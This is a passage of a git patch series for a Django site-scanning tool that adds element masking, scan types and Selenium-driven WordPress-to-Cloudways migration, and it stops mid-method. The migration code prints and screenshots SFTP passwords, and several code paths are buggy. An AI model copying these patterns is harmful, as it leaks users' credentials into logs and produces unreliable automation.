-472,6 +482,16 @@ def delete_many_tests(request): 'num_failed': num_failed, 'failed': failed, } + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + data = { + 'reason': 'you must provide an array of id\'s' + } + record_api_call(request, data, '400') + response = Response(data, status=status.HTTP_400_BAD_REQUEST) + return response @@ -660,7 +680,16 @@ def delete_many_scans(request): 'failed': failed, } + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + data = { + 'reason': 'you must provide an array of id\'s' + } + record_api_call(request, data, '400') + response = Response(data, status=status.HTTP_400_BAD_REQUEST) + return response def create_or_update_schedule(request): From 28a8961047f46c124395317ddfaeec6ba440c6c9 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 28 Apr 2022 11:21:32 -0500 Subject: [PATCH 084/277] fixed jquery issue when masking elements --- app/api/utils/image.py | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 0683d101..93dd53d7 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -124,17 +124,12 @@ def scan(self, site, configs, driver=None,): max_wait_time=int(configs['max_wait_time']), ) - # mask all listed ids - driver.execute_script(self.set_jquery) - time.sleep(5) - driver.execute_script(self.mask_function) - + # mask all listed ids if configs['mask_ids'] is not None and configs['mask_ids'] != '': ids = configs['mask_ids'].split(',') for id in ids: try: - # driver.execute_script(f"$('#{id}').overlayMask();") - driver.execute_script(f"$('#{id}').hide();") + driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") print('masked an element') except: print('cannot find element via id provided') @@ -258,14 +253,11 @@ async def scan_p(self, site, configs): # mask all listed ids - await page.evaluate(self.set_jquery) - time.sleep(5) - await page.evaluate(self.mask_function) if configs['mask_ids'] is not None and configs['mask_ids'] != '': ids = configs['mask_ids'].split(',') for id in ids: try: - await page.evaluate(f"$('#{id}').hide();") + await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") print('masked an element') except: print('cannot find element via id provided') From 90e32cee6abf68bd19d859a200957910a4cbc42d Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 4 May 2022 08:35:11 -0500 Subject: [PATCH 085/277] removed verify callback for Cloudways --- app/api/management/commands/create_admin.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py index e9bcecc7..77c68bd6 100644 --- a/app/api/management/commands/create_admin.py +++ b/app/api/management/commands/create_admin.py @@ -34,4 +34,4 @@ def handle(self, *args, **options): if not Token.objects.filter(user=user).exists(): Token.objects.create(user=user) - verify() \ No newline at end of file + # verify() \ No newline at end of file From 2648882641b975458b29b09e941bd3aa2200681c Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 4 May 2022 11:04:34 -0500 Subject: [PATCH 086/277] no change --- app/api/management/commands/create_admin.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py index 77c68bd6..e9bcecc7 100644 --- a/app/api/management/commands/create_admin.py +++ b/app/api/management/commands/create_admin.py @@ -34,4 +34,4 @@ def handle(self, *args, **options): if not Token.objects.filter(user=user).exists(): Token.objects.create(user=user) - # verify() \ No newline at end of file + verify() \ No newline at end of file From 47846d7f41a86d77a9ac522e85afe612ebd4a5e4 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 13 May 2022 06:52:53 -0500 Subject: [PATCH 087/277] added static serving w/out nginx --- app/scanerr/settings.py | 4 ++++ requirements.txt | 4 +--- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 8ac13a51..d58057c0 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -51,6 +51,7 @@ MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', + 'whitenoise.middleware.WhiteNoiseMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', @@ -175,6 +176,9 @@ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, "static") +# needed for deployments without nginx +STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage" + ### ONLY NEEDED IF USING DJANGO-STORAGES | remote storage settings for serving static files to django admin ### # DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' # STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' diff --git a/requirements.txt b/requirements.txt index cd5db68c..7cda1e7c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -48,9 +48,7 @@ urllib3==1.26.5 vine==5.0.0 wcwidth==0.2.5 websocket-client==1.0.1 - - - +whitenoise==6.1.0 From ec2d71e38f54aef2f44d1d313f5564c5d0e9dc06 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 13 May 2022 06:53:15 -0500 Subject: [PATCH 088/277] added global mask_ids --- app/api/admin.py | 17 ++++++++++++++++- app/api/models.py | 14 +++++++++++++- app/api/utils/image.py | 27 +++++++++++++++++++++++++-- 3 files changed, 54 insertions(+), 4 deletions(-) diff --git a/app/api/admin.py b/app/api/admin.py index 0d586239..72a4b9b2 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -48,4 +48,19 @@ class ScheduleAdmin(admin.ModelAdmin): @admin.register(Automation) class AutomationAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created', 'schedule', 'user') \ No newline at end of file + list_display = ('__str__', 'time_created', 'schedule', 'user') + + + + +@admin.register(Mask) +class MaskAdmin(admin.ModelAdmin): + list_display = ('__str__', 'mask_id', 'time_created',) + search_fields = ('mask_id',) + actions = ['mark_as_inactive', 'mark_as_active',] + + def mark_as_inactive(self, request, queryset): + queryset.update(active=False) + + def mark_as_active(self, request, queryset): + queryset.update(active=True) \ No newline at end of file diff --git a/app/api/models.py b/app/api/models.py index d13d9863..536406bc 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -331,7 +331,7 @@ class Report(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) path = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - type = models.JSONField(serialize=True, null=True, blank=True) # array of [lighthouse, yellowlab, crux] + type = models.JSONField(serialize=True, null=True, blank=True) # array of [lighthouse, yellowlab] info = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): @@ -340,6 +340,18 @@ def __str__(self): +class Mask(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + active = models.BooleanField(serialize=True, default=True) + mask_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.id}__mask' + + + + class Log(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 93dd53d7..7ec994a3 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -1,7 +1,7 @@ from .driver_s import driver_init, driver_wait, quit_driver from .driver_p import driver_init as driver_init_p from selenium import webdriver -from ..models import Site, Scan, Test +from ..models import Site, Scan, Test, Mask from selenium.webdriver.chrome.options import Options from django.forms.models import model_to_dict from django.core.serializers.json import DjangoJSONEncoder @@ -22,7 +22,8 @@ class Image(): a website and retrieve single one-page screenshots. Also known as VRT or Visual Regression Testing. Contains five methods scan(), scan_p(), test(), - screenshot(), and screenshot_p(): + screenshot(), and screenshot_p(). The _p appendage + denotes using Puppeteer as the webdriver: def scan(site, driver=None) -> grabs multiple screenshots of the website and uploads @@ -134,6 +135,17 @@ def scan(self, site, configs, driver=None,): except: print('cannot find element via id provided') + + # mask all Global mask ids that are active + active_masks = Mask.objects.filter(active=True) + if len(active_masks) != 0: + for mask in active_masks: + try: + driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + # scroll one frame at a time and capture screenshot image_array = [] @@ -263,6 +275,17 @@ async def scan_p(self, site, configs): print('cannot find element via id provided') + # mask all Global mask ids that are active + active_masks = Mask.objects.filter(active=True) + if len(active_masks) != 0: + for mask in active_masks: + try: + page.evaluate(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + + # scroll one frame at a time and capture screenshot image_array = [] index = 0 From 3f284f2fc18b0c24bc310ebde727c1a532d7e8cf Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 20 May 2022 10:57:11 -0500 Subject: [PATCH 089/277] added Process to admin --- app/api/admin.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/app/api/admin.py b/app/api/admin.py index 72a4b9b2..a177b48a 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -50,12 +50,15 @@ class ScheduleAdmin(admin.ModelAdmin): class AutomationAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'schedule', 'user') +@admin.register(Process) +class ProcessAdmin(admin.ModelAdmin): + list_display = ('__str__', 'time_created', 'time_completed', 'progress', 'successful') @admin.register(Mask) class MaskAdmin(admin.ModelAdmin): - list_display = ('__str__', 'mask_id', 'time_created',) + list_display = ('__str__', 'mask_id', 'active', 'time_created',) search_fields = ('mask_id',) actions = ['mark_as_inactive', 'mark_as_active',] From 68a751a9164b2ebd85a6205d9b9d3792c459f129 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 20 May 2022 10:57:36 -0500 Subject: [PATCH 090/277] added scan type and Process obj --- app/api/models.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/app/api/models.py b/app/api/models.py index 536406bc..3d35d23f 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -214,6 +214,7 @@ class Scan(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True) paired_scan = models.ForeignKey('self', on_delete=models.SET_NULL, serialize=True, null=True, blank=True) + type = models.JSONField(serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) html = models.TextField(serialize=True, null=True, blank=True) @@ -352,6 +353,22 @@ def __str__(self): +class Process(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_completed = models.DateTimeField(serialize=True, null=True, blank=True) + successful = models.BooleanField(serialize=True, default=False) + info_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + progress = models.FloatField(serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.id}__process' + + + + class Log(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) From 497dfaf82fe35e242d5e5817b2777204a36cc267 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 20 May 2022 10:58:41 -0500 Subject: [PATCH 091/277] added type to scan_task & new migrate_task --- app/api/tasks.py | 48 +++++++++++++++++++-- app/api/v1/ops/tasks.py | 92 ++++++++++++++++++++++++++++++++++++++--- 2 files changed, 131 insertions(+), 9 deletions(-) diff --git a/app/api/tasks.py b/app/api/tasks.py index 5447d37e..fc1ffdaf 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -3,7 +3,7 @@ from celery import shared_task from .v1.ops.tasks import (create_site_task, create_scan_task, create_test_task, delete_site_s3, - create_report_task, delete_report_s3, + create_report_task, delete_report_s3, migrate_site_task ) from .models import Log from django.contrib.auth.models import User @@ -23,8 +23,8 @@ def test_pupeteer(): @shared_task -def create_site_bg(site_id, scan_id): - create_site_task(site_id, scan_id) +def create_site_bg(site_id, scan_id, configs=None): + create_site_task(site_id, scan_id, configs) logger.info('Created scan of new site') @@ -33,6 +33,7 @@ def create_site_bg(site_id, scan_id): def create_scan_bg( scan_id=None, site_id=None, + type=['full'], automation_id=None, configs=None, tags=None, @@ -40,6 +41,7 @@ def create_scan_bg( create_scan_task( scan_id, site_id, + type, automation_id, configs, tags, @@ -99,4 +101,42 @@ def purge_logs(username=None): else: Log.objects.all().delete() - logger.info('Purged logs') \ No newline at end of file + logger.info('Purged logs') + + + +@shared_task +def migrate_site_bg( + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + plugin_name, + wait_time, + process_id, + driver, + ): + migrate_site_task( + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + plugin_name, + wait_time, + process_id, + driver, + ) + + logger.info('Finished Migration') \ No newline at end of file diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 7af13878..017c171d 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -2,22 +2,25 @@ from ...utils.scanner import Scanner as S from ...utils.tester import Tester as T from ...utils.reporter import Reporter as R +from ...utils.wordpress import Wordpress as W +from ...utils.wordpress_p import Wordpress as W_P from ...utils.automations import automation -import boto3 +import boto3, asyncio from scanerr import settings -def create_site_task(site_id, scan_id): +def create_site_task(site_id, scan_id, configs): site = Site.objects.get(id=site_id) scan = Scan.objects.get(id=scan_id) - S(site=site, scan=scan).first_scan() + S(site=site, scan=scan, configs=configs).first_scan() return site def create_scan_task( scan_id=None, site_id=None, + type=['full'], automation_id=None, configs=None, tags=None, @@ -28,6 +31,8 @@ def create_scan_task( site = Site.objects.get(id=site_id) created_scan = Scan.objects.create( site=site, + type=type, + configs=configs, tags=tags, ) scan = S(scan=created_scan, configs=configs).first_scan() @@ -67,10 +72,10 @@ def create_test_task( post_scan = Scan.objects.get(id=post_scan) if post_scan is None and pre_scan is not None: - post_scan = S(site=site, scan=pre_scan, configs=configs).second_scan() + post_scan = S(site=site, scan=pre_scan, configs=configs, type=type).second_scan() if pre_scan is None and post_scan is None: - new_scan = S(site=site, configs=configs) + new_scan = S(site=site, configs=configs, type=type) post_scan = new_scan.second_scan() pre_scan = post_scan.paired_scan @@ -156,3 +161,80 @@ def delete_report_s3(report_id): bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete() return + + + +def migrate_site_task( + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + plugin_name, + wait_time, + process_id, + driver, + + ): + + if driver == 'selenium': + # init wordpress + wp = W( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + email_address=email_address, + destination_url=destination_url, + sftp_address=sftp_address, + dbname=dbname, + sftp_username=sftp_username, + sftp_password=sftp_password, + wait_time=wait_time, + process_id=process_id, + + ) + + # login + wp_status = wp.login() + # adjust lang + wp_status = wp.begin_lang_check() + # install plugin + wp_status = wp.install_plugin(plugin_name=plugin_name) + # launch migration + wp_status = wp.launch_migration() + # run migration + wp_status = wp.run_migration() + # re adjust lang + # wp_status = wp.end_lang_check() + + else: + # init wordpress for puppeteer + wp_status = asyncio.run( + W_P( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + email_address=email_address, + destination_url=destination_url, + sftp_address=sftp_address, + dbname=dbname, + sftp_username=sftp_username, + sftp_password=sftp_password, + wait_time=wait_time, + process_id=process_id, + ).run_full(plugin_name=plugin_name) + ) + + return + + + + + \ No newline at end of file From 1653d3436712e998376336c3049857c8fe13e47b Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 20 May 2022 10:59:24 -0500 Subject: [PATCH 092/277] added exception handeling for VRT --- app/api/utils/image.py | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 7ec994a3..307f8a3e 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -372,12 +372,12 @@ def test(self, test, index=None): endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) ) - # setup temp files - if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.site.id}')): - os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.site.id}')) + # setup temp dirs + if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')): + os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}')) # temp root - temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.site.id}') + temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.id}') # loop through and download each img in scan and compare it. pre_scan_images = test.pre_scan.images @@ -428,6 +428,7 @@ def pil_score(pre_img, post_img): # Generate diff image in memory. diff_img = ImageChops.difference(pre_img, post_img) + # Calculate difference as a ratio. stat = ImageStat.Stat(diff_img) diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100 @@ -453,6 +454,7 @@ def cv2_score(pre_img_array, post_img_array): # perform matches. matches = bf.match(desc_a, desc_b) + # Look for similar regions with distance < 20. (from 0 to 100) similar_regions = [i for i in matches if i.distance < 20] if len(matches) == 0: @@ -501,8 +503,14 @@ def cv2_score(pre_img_array, post_img_array): # remove local copies if post_img_obj is not None: - os.remove(post_img_path) - os.remove(pre_img_path) + try: + os.remove(post_img_path) + except Exception as e: + print(e) + try: + os.remove(pre_img_path) + except Exception as e: + print(e) i += 1 From 0a346dfc78eb0ccbb834cbe9be2d42c862d7e0f2 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 20 May 2022 10:59:49 -0500 Subject: [PATCH 093/277] added scan types --- app/api/utils/scanner.py | 114 +++++++++++++++++++++++++++------------ 1 file changed, 79 insertions(+), 35 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index cbbb9fc0..ef7dfd3a 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -19,6 +19,7 @@ def __init__( site=None, scan=None, configs=None, + type=['full'] ): if site == None and scan != None: @@ -46,6 +47,7 @@ def __init__( self.scan = None self.configs = configs + self.type = type @@ -55,14 +57,24 @@ def first_scan(self): returns -> `Scan` """ + + html = None + logs = None + images = None + lh_data = None + yl_data = None + if self.scan is None: - self.scan = Scan.objects.create(site=self.site) + self.scan = Scan.objects.create(site=self.site, type=self.type) if self.configs['driver'] == 'selenium': self.driver.get(self.site.site_url) - html = self.driver.page_source - logs = self.driver.get_log('browser') - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + if 'html' in self.scan.type or 'full' in self.scan.type: + html = self.driver.page_source + if 'logs' in self.scan.type or 'full' in self.scan.type: + logs = self.driver.get_log('browser') + if 'vrt' in self.scan.type or 'full' in self.scan.type: + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) quit_driver(self.driver) else: driver_data = asyncio.run( @@ -71,18 +83,29 @@ def first_scan(self): configs=self.configs ) ) - html = driver_data['html'] - logs = driver_data['logs'] - images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + if 'html' in self.scan.type or 'full' in self.scan.type: + html = driver_data['html'] + if 'logs' in self.scan.type or 'full' in self.scan.type: + logs = driver_data['logs'] + if 'vrt' in self.scan.type or 'full' in self.scan.type: + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) - lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() - yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() - - self.scan.html = html - self.scan.logs = logs - self.scan.images = images - self.scan.lighthouse = lh_data - self.scan.yellowlab = yl_data + if 'lighthouse' in self.scan.type or 'full' in self.scan.type: + lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + if 'yellowlab' in self.scan.type or 'full' in self.scan.type: + yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + + if html is not None: + self.scan.html = html + if logs is not None: + self.scan.logs = logs + if images is not None: + self.scan.images = images + if lh_data is not None: + self.scan.lighthouse = lh_data + if yl_data is not None: + self.scan.yellowlab = yl_data + self.scan.configs = self.configs self.scan.time_completed = datetime.now() self.scan.save() @@ -98,7 +121,7 @@ def first_scan(self): def second_scan(self): """ - Method to run a scan and attach existing `scan` obj to it. + Method to run a scan and attach existing `Scan` obj to it. returns -> `Scan` """ @@ -111,13 +134,22 @@ def second_scan(self): first_scan = self.scan # create second scan obj - second_scan = Scan.objects.create(site=self.site) + second_scan = Scan.objects.create(site=self.site, type=self.type) + html = None + logs = None + images = None + lh_data = None + yl_data = None + if self.configs['driver'] == 'selenium': self.driver.get(self.site.site_url) - html = self.driver.page_source - logs = self.driver.get_log('browser') - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + if 'html' in second_scan.type or 'full' in second_scan.type: + html = self.driver.page_source + if 'logs' in second_scan.type or 'full' in second_scan.type: + logs = self.driver.get_log('browser') + if 'vrt' in second_scan.type or 'full' in second_scan.type: + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) quit_driver(self.driver) else: driver_data = asyncio.run( @@ -126,22 +158,33 @@ def second_scan(self): configs=self.configs ) ) - html = driver_data['html'] - logs = driver_data['logs'] - images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) - - lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() - yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + if 'html' in second_scan.type or 'full' in second_scan.type: + html = driver_data['html'] + if 'logs' in second_scan.type or 'full' in second_scan.type: + logs = driver_data['logs'] + if 'vrt' in second_scan.type or 'full' in second_scan.type: + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + + if 'lighthouse' in second_scan.type or 'full' in second_scan.type: + lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + if 'yellowlab' in second_scan.type or 'full' in second_scan.type: + yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + + if html is not None: + second_scan.html = html + if logs is not None: + second_scan.logs = logs + if images is not None: + second_scan.images = images + if lh_data is not None: + second_scan.lighthouse = lh_data + if yl_data is not None: + second_scan.yellowlab = yl_data - second_scan.paired_scan = first_scan - second_scan.html = html - second_scan.logs = logs - second_scan.lighthouse = lh_data - second_scan.images = images - second_scan.yellowlab = yl_data second_scan.configs = self.configs second_scan.time_completed = datetime.now() + second_scan.paired_scan = first_scan second_scan.save() first_scan.paried_scan = second_scan @@ -169,7 +212,6 @@ def update_site_info(self, scan): if score != 0: score = score / d - if score >= 75: health = 'Good' badge = 'success' @@ -183,14 +225,16 @@ def update_site_info(self, scan): else: if self.site.info['status']['score'] is not None: score = float(self.site.info['status']['score']) + health = self.site.info['status']['health'] + badge = self.site.info['status']['badge'] else: score = None self.site.info['latest_scan']['id'] = str(scan.id) self.site.info['latest_scan']['time_created'] = str(scan.time_created) self.site.info['latest_scan']['time_completed'] = str(scan.time_completed) - self.site.info['lighthouse'] = scan.lighthouse['scores'] - self.site.info['yellowlab'] = scan.yellowlab['scores'] + self.site.info['lighthouse'] = scan.lighthouse.get('scores') + self.site.info['yellowlab'] = scan.yellowlab.get('scores') self.site.info['status']['health'] = str(health) self.site.info['status']['badge'] = str(badge) self.site.info['status']['score'] = score From 9be38784046f586f5f26fa0a1e425a02dd480954 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 20 May 2022 11:00:09 -0500 Subject: [PATCH 094/277] added migrate methods --- app/api/utils/wordpress.py | 213 ++++++++++++++++++++++++++++++++++- app/api/utils/wordpress_p.py | 191 ++++++++++++++++++++++++++++++- 2 files changed, 400 insertions(+), 4 deletions(-) diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py index beb5669d..f94ea864 100644 --- a/app/api/utils/wordpress.py +++ b/app/api/utils/wordpress.py @@ -2,7 +2,9 @@ from selenium import webdriver from selenium.webdriver.support.ui import Select from selenium.webdriver.common.keys import Keys -import time +from ..models import * +from datetime import datetime +import time, uuid @@ -19,11 +21,28 @@ def __init__( admin_url, username, password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, wait_time, + process_id ): + + # set all global vars self.login_url = login_url self.username = username self.password = password + self.email_address = email_address + self.destination_url = destination_url + self.sftp_address = sftp_address + self.dbname = dbname + self.sftp_username = sftp_username + self.sftp_password = sftp_password + self.process = Process.objects.get(id=process_id) + if wait_time is None: self.driver = driver_init() else: @@ -347,4 +366,194 @@ def install_plugin(self, plugin_name): except: print('failed dependency installation') self.driver.quit() - return False \ No newline at end of file + return False + + else: + print('plugin already installed') + return True + + + + def launch_migration(self): + ''' + Launches the migration plugin once Activated. + + returns --> True / False + + ''' + + # setting url for link naving + migrate_page = 'admin.php?page=cloudways' + current_url = self.driver.current_url + + if not current_url.endswith("cloudways"): + print('navigating to migration page') + if self.admin_url.endswith('/'): + self.driver.get(f'{self.admin_url}{migrate_page}') + else: + self.driver.get(f'{self.admin_url}/{migrate_page}') + time.sleep(10) + print(f'current url -> {self.driver.current_url}') + self.driver.save_screenshot('error.png') + + # wait for cloudways email field to become visible + # entering self.email_address in field + # get_element_by_name="email" -> self.email_address + email = self.driver.find_element_by_name('email') + email.send_keys(self.email_address) + print('entered cloudways email') + + # checking T&S checbox + # get_element_by_name="consent".click() + self.driver.find_element_by_name('consent').click() + print('checked T&S agreement') + + # clicking submit to launch migration plugin + # get_element_by_id="migratesubmit".click() + self.driver.find_element_by_id('migratesubmit').click() + print('clicked migrate button') + + return True + + + def run_migration(self): + ''' + Enters data on migration page, initiates miration + and begins updating the associated `Process` with data + from the page. + + returns --> True / False + + ''' + + # check for page to fully load + print('waiting 10 sec for new page to load') + time.sleep(10) + ## enter all necessary data in each field + + # get_element_by_name="address" -> self.destination_url + destination_url = self.driver.find_element_by_name('address') + destination_url.send_keys(self.destination_url) + print(f'dest_url as -> {self.destination_url}') + time.sleep(2) + + # get_element_by_name="newurl" -> self.sftp_address + sftp_address = self.driver.find_element_by_name('newurl') + sftp_address.send_keys(self.sftp_address) + print(f'sftp_address as -> {self.sftp_address}') + time.sleep(2) + + # get_element_by_name="appfolder" -> self.dbname + dbname = self.driver.find_element_by_name('appfolder') + dbname.send_keys(self.dbname) + print(f'dbname as -> {self.dbname}') + time.sleep(2) + + + # get_element_by_name="username" -> self.sftp_username + sftp_username = self.driver.find_element_by_name('username') + sftp_username.send_keys(self.sftp_username) + print(f'sftp_username as -> {self.sftp_username}') + time.sleep(2) + + # get_element_by_name="passwd" -> self.sftp_password + sftp_password = self.driver.find_element_by_name('passwd') + sftp_password.screenshot('sftp_password.png') + sftp_password.send_keys(self.sftp_password) + print(f'sftp_password as -> {self.sftp_password}') + time.sleep(2) + + self.driver.execute_script("document.getElementById('source-root-dir-yes').click()") + print('clicked root-dir-yes') + time.sleep(2) + + + print('entered all creds') + pic_id = uuid.uuid4() + image = self.driver.save_screenshot(f'{pic_id}.png') + + # submit data + # get_element_by_text="MIGRATE".click() + sftp_password.send_keys(Keys.RETURN) + print('pressed return key') + + + + # update self.process with info_url + self.process.info_url = self.driver.current_url + self.process.save() + + done = False + done_text = 'Your migration is complete!' + new_progress = 0 + print(f'current url -> {self.driver.current_url}') + while not done: + + # get_element_by_name="the main progress bar" + # full xpath -> html/body/div/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2] + # //*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2] + # element ->
60%
+ + try: + new_progress = self.driver.find_element_by_xpath('//*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2]').text() + print(f'raw text => {new_progress}') + new_progress = float(new_progress.split('%')[0]) + print(f'current progress -> {new_progress} %') + except: + try: + print('second method to get progress') + new_progress = self.driver.find_elements_by_class_name('progress-percentage font16')[2].text() + print(f'raw text => {new_progress}') + new_progress = float(new_progress.split('%')[0]) + print(f'current progress -> {new_progress} %') + + except: + print('can\'t find main progress bar') + + + # update self.process + self.process.progress = new_progress + + # check if new_progress is 100% + #

Your migration is complete!

+ # get full page div + if new_progress >= 100 or done_text in self.driver.page_source: + self.process.successful = True + self.process.time_completed = datetime.now() + done = True + + # checking for process errors + try: + self.driver.find_elements_by_class_name('alert alert-danger') + done = True + self.process.time_completed = datetime.now() + print('found an error - ending process') + self.process.save() + return False + except: + pass + + # saving new data + self.process.save() + + time.sleep(1) + + + return True + + + + + + + + + + + + + + + + + diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py index e70a758a..7db91b00 100644 --- a/app/api/utils/wordpress_p.py +++ b/app/api/utils/wordpress_p.py @@ -2,7 +2,10 @@ from selenium import webdriver from selenium.webdriver.support.ui import Select from selenium.webdriver.common.keys import Keys -import time, asyncio +import time, asyncio, uuid +from ..models import * +from datetime import datetime +from asgiref.sync import sync_to_async @@ -19,11 +22,26 @@ def __init__( admin_url, username, password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, wait_time, + process_id ): + # set all global vars self.login_url = login_url self.username = username self.password = password + self.email_address = email_address + self.destination_url = destination_url + self.sftp_address = sftp_address + self.dbname = dbname + self.sftp_username = sftp_username + self.sftp_password = sftp_password + self.process = Process.objects.get(id=process_id) self.native_lang = 'en' if not admin_url.endswith('/'): @@ -375,13 +393,182 @@ async def install_plugin(self, plugin_name): await self.driver.close() return False + else: + print('plugin already installed') + return True + + + @sync_to_async + def update_process(self, successful=False, info_url=None, time_completed=None, progress=None): + if info_url is not None: + self.process.info_url = info_url + self.process.successful = successful + if time_completed is not None: + self.process.time_completed = time_completed + if progress is not None: + self.process.progress = progress + + self.process.save() + return + + + + async def launch_migration(self): + ''' + Launches the migration plugin once Activated. + + returns --> True / False + + ''' + + # setting url for link naving + migrate_page = 